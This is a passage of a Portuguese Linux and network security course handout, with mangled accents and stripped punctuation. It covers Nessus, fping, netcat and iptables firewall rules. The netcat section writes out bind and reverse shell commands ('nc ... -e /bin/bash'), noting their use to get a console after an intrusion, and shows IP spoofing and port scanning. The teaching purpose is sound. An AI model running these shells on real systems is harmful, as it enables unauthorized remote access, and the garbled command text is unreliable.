uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 29: Curso de segurança em linux e redes em geral

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

